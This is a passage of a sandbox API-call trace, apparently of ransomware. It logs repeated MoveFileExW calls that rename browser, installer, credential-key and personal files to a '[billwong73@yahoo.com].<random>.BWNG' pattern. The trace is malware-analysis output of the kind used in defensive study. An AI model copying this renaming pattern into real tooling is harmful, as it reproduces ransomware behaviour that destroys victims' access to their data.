HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\[billwong73@yahoo.com].77wj6fnZ-3mFXSMci.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\[billwong73@yahoo.com].77wj6fnz-3mfxsmci.bwng"), dwFlags=0x1) returned 1 [0133.478] GetTickCount () returned 0x1168d04 [0133.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27542982238) returned 1 [0133.478] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].oJpNX2E5-v4hRvKwn.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].ojpnx2e5-v4hrvkwn.bwng"), dwFlags=0x1) returned 1 [0133.479] GetTickCount () returned 0x1168d04 [0133.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27543118022) returned 1 [0133.479] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].8FhSRBox-zUAk4883.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].8fhsrbox-zuak4883.bwng"), dwFlags=0x1) returned 1 [0133.480] GetTickCount () returned 0x1168d04 [0133.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27543251670) returned 1 [0133.481] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].UxgbJQur-XZNJWSRC.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].uxgbjqur-xznjwsrc.bwng"), dwFlags=0x1) returned 1 [0133.482] GetTickCount () returned 0x1168d04 [0133.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27543384912) returned 1 [0133.482] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\[billwong73@yahoo.com].ogrLuP24-AM2jLUue.BWNG" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\[billwong73@yahoo.com].ogrlup24-am2jluue.bwng"), dwFlags=0x1) returned 1 [0133.483] GetTickCount () returned 0x1168d04 [0133.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27543557915) returned 1 [0133.484] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\[billwong73@yahoo.com].XEHED7FO-OEoNZAqH.BWNG" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\[billwong73@yahoo.com].xehed7fo-oeonzaqh.bwng"), dwFlags=0x1) returned 1 [0133.485] GetTickCount () returned 0x1168d04 [0133.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27543710235) returned 1 [0133.485] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\[billwong73@yahoo.com].V2p9YXUD-oiyjQ7Pi.BWNG" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\[billwong73@yahoo.com].v2p9yxud-oiyjq7pi.bwng"), dwFlags=0x1) returned 1 [0133.486] GetTickCount () returned 0x1168d04 [0133.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27543861792) returned 1 [0133.487] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\7e0fed01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\[billwong73@yahoo.com].dJS1dJz3-Z8JXefZH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\[billwong73@yahoo.com].djs1djz3-z8jxefzh.bwng"), dwFlags=0x1) returned 1 [0133.488] GetTickCount () returned 0x1168d04 [0133.488] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27544027467) returned 1 [0133.488] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\[billwong73@yahoo.com].e6oS6UoO-VsoQ2uyc.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\[billwong73@yahoo.com].e6os6uoo-vsoq2uyc.bwng"), dwFlags=0x1) returned 1 [0133.490] GetTickCount () returned 0x1168d14 [0133.490] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27544203287) returned 1 [0133.490] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\0f1583fff42fff476a09801acb69213f_e3f4a8c96454d7d3441d2c1bce81f875"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].Mxh4m6RE-EM9Yh3Ba.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].mxh4m6re-em9yh3ba.bwng"), dwFlags=0x1) returned 1 [0133.491] GetTickCount () returned 0x1168d14 [0133.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27544344803) returned 1 [0133.491] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5080dc7a65db6a5960ecd874088f3328_6cba2c06d5985dd95ae59af8fc7c6220"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].VvQ1ACTL-YWmzKDGI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].vvq1actl-ywmzkdgi.bwng"), dwFlags=0x1) returned 1 [0133.493] GetTickCount () returned 0x1168d14 [0133.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27544485553) returned 1 [0133.493] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_234cb5d64705d4dbb4da839716359af0"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].KmxlZ4MC-2wjfysOZ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].kmxlz4mc-2wjfysoz.bwng"), dwFlags=0x1) returned 1 [0133.494] GetTickCount () returned 0x1168d14 [0133.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27544671877) returned 1 [0133.495] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\828298824ea5549947c17ddabf6871f5_0206efbc540300c3bf0163cdbc3d7d56"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].WwSKNnRf-TKtKaCc9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].wwsknnrf-tktkacc9.bwng"), dwFlags=0x1) returned 1 [0133.496] GetTickCount () returned 0x1168d14 [0133.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27544815082) returned 1 [0133.496] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\acf244f1a10d4dbed0d88eba0c43a9b5_ba1ab6c2bdfdf57799e8116e4002d001"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].z4xAWY1q-L0aTbc7X.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].z4xawy1q-l0atbc7x.bwng"), dwFlags=0x1) returned 1 [0133.497] GetTickCount () returned 0x1168d14 [0133.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27544958264) returned 1 [0133.498] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d52c56d8f24bec96604372afbaf264e1_e76a2b627dd019eb51d9335f24b14c2c"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].X1iNtKZN-yYOtxj0h.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].x1intkzn-yyotxj0h.bwng"), dwFlags=0x1) returned 1 [0133.499] GetTickCount () returned 0x1168d14 [0133.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27545106417) returned 1 [0133.499] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\3388ecc3f7bc4a9271c10ed8621e5a65_f55c512047947b70f94de5dec6d6838d"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].LgpZNuRW-txWbf0m3.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].lgpznurw-txwbf0m3.bwng"), dwFlags=0x1) returned 1 [0133.500] GetTickCount () returned 0x1168d14 [0133.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27545250419) returned 1 [0133.501] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7423f88c7f265f0defc08ea88c3bde45_d975bba8033175c8d112023d8a7a8ad6"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].u6jUfleG-F13V3w7S.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].u6jufleg-f13v3w7s.bwng"), dwFlags=0x1) returned 1 [0133.502] GetTickCount () returned 0x1168d14 [0133.502] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27545380509) returned 1 [0133.502] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_74e943f7dab6d19e37e4854057155778"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].2x4SVsVM-YjHNbaK8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].2x4svsvm-yjhnbak8.bwng"), dwFlags=0x1) returned 1 [0133.503] GetTickCount () returned 0x1168d14 [0133.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27545532326) returned 1 [0133.503] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\955cab6ff6a24d5820d50b5ba1cf79c7_ad9e7615297a3a83320aace5801a04f9"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].3eVhTcwr-xzEvHH8Z.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].3evhtcwr-xzevhh8z.bwng"), dwFlags=0x1) returned 1 [0133.504] GetTickCount () returned 0x1168d14 [0133.504] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27545669871) returned 1 [0133.505] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_42820cdfea41dc84aab89a6b63561873"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].3trWSo1d-zx87UASf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].3trwso1d-zx87uasf.bwng"), dwFlags=0x1) returned 1 [0133.655] GetTickCount () returned 0x1168db0 [0133.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27560725209) returned 1 [0133.656] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\[billwong73@yahoo.com].YqcTOLkW-xUdGFEXz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\[billwong73@yahoo.com].yqctolkw-xudgfexz.bwng"), dwFlags=0x1) returned 1 [0133.748] GetTickCount () returned 0x1168e0d [0133.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27570070217) returned 1 [0133.749] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\[billwong73@yahoo.com].QqIgORSj-Vxg2rXtF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\[billwong73@yahoo.com].qqigorsj-vxg2rxtf.bwng"), dwFlags=0x1) returned 1 [0133.867] GetTickCount () returned 0x1168e8a [0133.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27581889798) returned 1 [0133.867] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JOpHZZ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jophzz.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].mQhjvzhi-fCBpBpga.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].mqhjvzhi-fcbpbpga.bwng"), dwFlags=0x1) returned 1 [0133.869] GetTickCount () returned 0x1168e8a [0133.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27582083802) returned 1 [0133.869] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\[billwong73@yahoo.com].2e0J6XJb-GA5BEgup.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\[billwong73@yahoo.com].2e0j6xjb-ga5begup.bwng"), dwFlags=0x1) returned 1 [0133.870] GetTickCount () returned 0x1168e8a [0133.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27582272629) returned 1 [0133.871] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20131025151332" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20131025151332"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\[billwong73@yahoo.com].RNEopkKV-V0vRV20s.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\crash reports\\[billwong73@yahoo.com].rneopkkv-v0vrv20s.bwng"), dwFlags=0x1) returned 1 [0133.872] GetTickCount () returned 0x1168e8a [0133.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27582429346) returned 1 [0133.872] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\search.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\search.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].13QRo3rR-obaDCAMb.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].13qro3rr-obadcamb.bwng"), dwFlags=0x1) returned 1 [0133.873] GetTickCount () returned 0x1168e8a [0133.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27582686533) returned 1 [0133.875] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UBN3ipwtfbJW5LUijms.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ubn3ipwtfbjw5luijms.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].PwDyaf10-DETtW9bR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].pwdyaf10-dettw9br.bwng"), dwFlags=0x1) returned 1 [0133.876] GetTickCount () returned 0x1168e8a [0133.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27582868963) returned 1 [0133.877] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\[billwong73@yahoo.com].RpD9k68P-cYuXkfYW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\[billwong73@yahoo.com].rpd9k68p-cyuxkfyw.bwng"), dwFlags=0x1) returned 1 [0133.878] GetTickCount () returned 0x1168e8a [0133.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27583001065) returned 1 [0133.878] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].m0TyTko9-HiToqQFW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].m0tytko9-hitoqqfw.bwng"), dwFlags=0x1) returned 1 [0133.960] GetTickCount () returned 0x1168ee8 [0133.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27591239635) returned 1 [0133.961] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z 7PY7nsd1mkYbQkTu.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z 7py7nsd1mkybqktu.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].jZvln8ub-b99VXWcb.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].jzvln8ub-b99vxwcb.bwng"), dwFlags=0x1) returned 1 [0133.962] GetTickCount () returned 0x1168ee8 [0133.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27591420833) returned 1 [0133.962] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\[billwong73@yahoo.com].pYB5Lj5S-AB2fMhsa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\[billwong73@yahoo.com].pyb5lj5s-ab2fmhsa.bwng"), dwFlags=0x1) returned 1 [0133.963] GetTickCount () returned 0x1168ee8 [0133.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: 